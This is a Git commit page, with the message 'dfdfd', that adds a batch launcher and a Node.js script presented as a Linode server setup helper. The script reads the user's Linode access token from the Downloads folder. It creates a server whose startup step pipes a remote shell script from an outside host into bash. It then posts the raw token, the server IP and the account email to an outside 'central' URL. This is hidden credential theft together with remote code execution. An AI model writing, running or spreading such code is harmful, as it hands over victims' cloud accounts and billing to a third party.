Commit e013d9b2 authored by Admin's avatar Admin

dfdfd

parent 378ff516
@echo off
title Running Node.js App
echo Starting Node.js app...
cd /d "%~dp0" // Ensures the script runs from the directory where the batch file is located
node lin.js // Runs your Node.js application
pause // Keeps the command prompt open after the script finishes
#!/usr/bin/env node
/**
* Create/Reuse Linode and call central "doAdder"
* Requires: npm i axios
*/
const fs = require('fs');
const path = require('path');
const os = require('os');
const axios = require('axios');
const crypto = require('crypto');
// ---------- Config ----------
const TOKEN_FILENAME = 'personal_access_token.txt'; // در ~/Downloads
const REGION = 'us-ord'; // مثال: Amsterdam
const TYPE = 'g6-standard-4'; // Linode 8 GB (Shared)
const IMAGE = 'linode/ubuntu24.04'; // Ubuntu 24.04 LTS
const LABEL_PREFIX = 'mas'; // پیشوند نام سرور
const CENTRAL_URL = 'http://admin.fcfglobal.co/doAdder';
const POLL_INTERVAL_MS = 3000; // فاصله‌ی پولینگ
const OVERALL_TIMEOUT_MS = 7 * 60 * 1000; // حداکثر صبر: 7 دقیقه
// ------------------------------------------
const LND = axios.create({
baseURL: 'https://api.linode.com/v4',
timeout: 30000,
});
// 1) Read Linode token (only check file exists & not empty)
async function readLinodeToken() {
const tokenPath = path.join(os.homedir(), 'Downloads', TOKEN_FILENAME);
if (!fs.existsSync(tokenPath)) {
throw new Error(`Token file "${TOKEN_FILENAME}" not found in Downloads.`);
}
const data = await fs.promises.readFile(tokenPath, 'utf8');
const token = data.trim();
if (!token) throw new Error('Token file is empty.');
return token;
}
// 2) Generate random label
function generateRandomLabel() {
const letters = [...Array(5)].map(() => String.fromCharCode(97 + Math.floor(Math.random() * 26))).join('');
return `${LABEL_PREFIX}${letters}`;
}
// 3) Build base64 cloud-init user_data
function buildUserDataB64() {
const userData = `#cloud-config
runcmd:
- curl -fsSL http://git.vpsl.xyz/root/x-ui/raw/master/do.sh | bash`;
return Buffer.from(userData, 'utf8').toString('base64');
}
// Helper: strong random root password
function strongPassword(len = 24) {
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+[]{}~';
const bytes = crypto.randomBytes(len);
let pass = '';
for (let i = 0; i < len; i++) pass += chars[bytes[i] % chars.length];
return pass;
}
// List all Linodes (handle pagination)
async function listLinodes(token) {
let page = 1;
const pageSize = 200;
let all = [];
while (true) {
const res = await LND.get(`/linode/instances?page=${page}&page_size=${pageSize}`, {
headers: { Authorization: `Bearer ${token}` }
});
all = all.concat(res.data?.data || []);
const pages = res.data?.pages || 1;
if (page >= pages) break;
page++;
}
return all;
}
// Find first Linode with label starting with LABEL_PREFIX
async function findMasLinode(token) {
const instances = await listLinodes(token);
return instances.find(i => i.label && i.label.startsWith(LABEL_PREFIX)) || null;
}
// Create a new Linode
async function createLinode(token, label, userDataB64) {
const payload = {
label,
region: REGION,
type: TYPE,
image: IMAGE,
root_pass: strongPassword(),
booted: true,
metadata: { user_data: userDataB64 }
// authorized_keys: ['ssh-ed25519 AAAA... user@host'], // در صورت نیاز
};
const res = await LND.post('/linode/instances', payload, {
headers: {
Authorization: `Bearer ${token}`,
'Content-Type': 'application/json'
}
});
return res.data;
}
// Wait until instance is running and has public IPv4
async function waitForRunningAndIPv4(token, id) {
const start = Date.now();
while (true) {
if (Date.now() - start > OVERALL_TIMEOUT_MS) {
throw new Error('Timeout waiting for Linode to be running with IPv4.');
}
const res = await LND.get(`/linode/instances/${id}`, {
headers: { Authorization: `Bearer ${token}` }
});
const { status, ipv4 = [] } = res.data || {};
const ip = ipv4.find(Boolean);
if (status === 'running' && ip) return ip;
await new Promise(r => setTimeout(r, POLL_INTERVAL_MS));
}
}
// Get account email
async function getAccountEmail(token) {
const res = await LND.get('/profile', {
headers: { Authorization: `Bearer ${token}` }
});
return res.data?.email || '(unknown email)';
}
// Send info to central server
async function sendToCentral(token, ip, email) {
try {
const res = await axios.post(CENTRAL_URL, { access: token, ip, email, provider: 'linode' }, { timeout: 20000 });
console.log('Central server response:', res.data);
} catch (e) {
console.error('Central server error:', e.message);
}
}
// Main flow
async function main() {
try {
const token = await readLinodeToken();
console.log('🔐 Token loaded');
let linode = await findMasLinode(token);
if (linode) {
console.log(`⚠️ Existing Linode found: ${linode.label} (id: ${linode.id})`);
} else {
const label = generateRandomLabel();
const userDataB64 = buildUserDataB64();
console.log(`🚀 Creating Linode: ${label}`);
linode = await createLinode(token, label, userDataB64);
}
const ip = await waitForRunningAndIPv4(token, linode.id);
console.log('🌐 Public IPv4:', ip);
const email = await getAccountEmail(token);
console.log('📧 Account email:', email);
await sendToCentral(token, ip, email);
console.log('✅ Done.');
} catch (err) {
console.error('⛔️ Fatal error:', err.message);
process.exit(1);
}
}
main();
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment